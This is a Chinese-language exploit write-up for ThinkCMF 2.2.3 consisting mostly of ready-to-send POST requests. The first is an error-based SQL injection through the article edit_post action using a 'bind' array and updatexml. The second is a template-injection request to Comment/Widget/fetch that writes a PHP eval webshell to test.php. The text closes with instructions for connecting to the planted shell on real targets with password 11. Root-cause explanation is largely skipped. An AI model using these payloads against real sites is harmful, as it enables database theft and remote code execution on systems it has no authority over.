本文说的是ThinkCMF 2系列,包含ThinkCMF 2.2.3漏洞,其它ThinkCMF 1.6.0从SQL注入到任意代码执行
前台用户文章编辑提交存在注入
前台的文章编辑中操作框架注入,所以可以直接sql注入
url:http://thinkcmf.test/index.php?g=Portal&m=Article&a=edit_post
post:
term:123
post[post_title]:123
post[post_title]:aaa
post_title:123
post[id][0]:bind
post[id][1]:0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
1
2
3
4
5
6
7
8url:http://thinkcmf.test/index.php?g=Portal&m=Article&a=edit_post
post:
term:123
post[post_title]:123
post[post_title]:aaa
post_title:123
post[id][0]:bind
post[id][1]:0and(updatexml(1,concat(0x7e,(selectuser()),0x7e),1))
漏洞原理
文件:ThinkCMFX_2.2.3\application\Portal\Controller\ArticleController.class.php
方法:public function edit_post(
这里不多讲,因为没得意义。详情请看先知的历史tp漏洞,谢谢:)
前台模版注入漏洞-可getshell两处
Comment类模版引擎注入演示
url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
post:
templateFile=/../public/index
prefix=''
content=file_put_contents('test.php','<?php eval($_REQUEST[11]);')
1
2
3
4
5url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
post:
templateFile=/../public/index
prefix=''
content=file_put_contents('test.php','<?php eval($_REQUEST[11]);')
发送之后页面http状态会为200,这样就表示成功了
简单讲解一下:content 我输入了php代码所以他会在本地跟路径创建一个一句话木马test.php
所以实战过程中。
连接马子:http://xxxxx.com/test.php 密码:11
即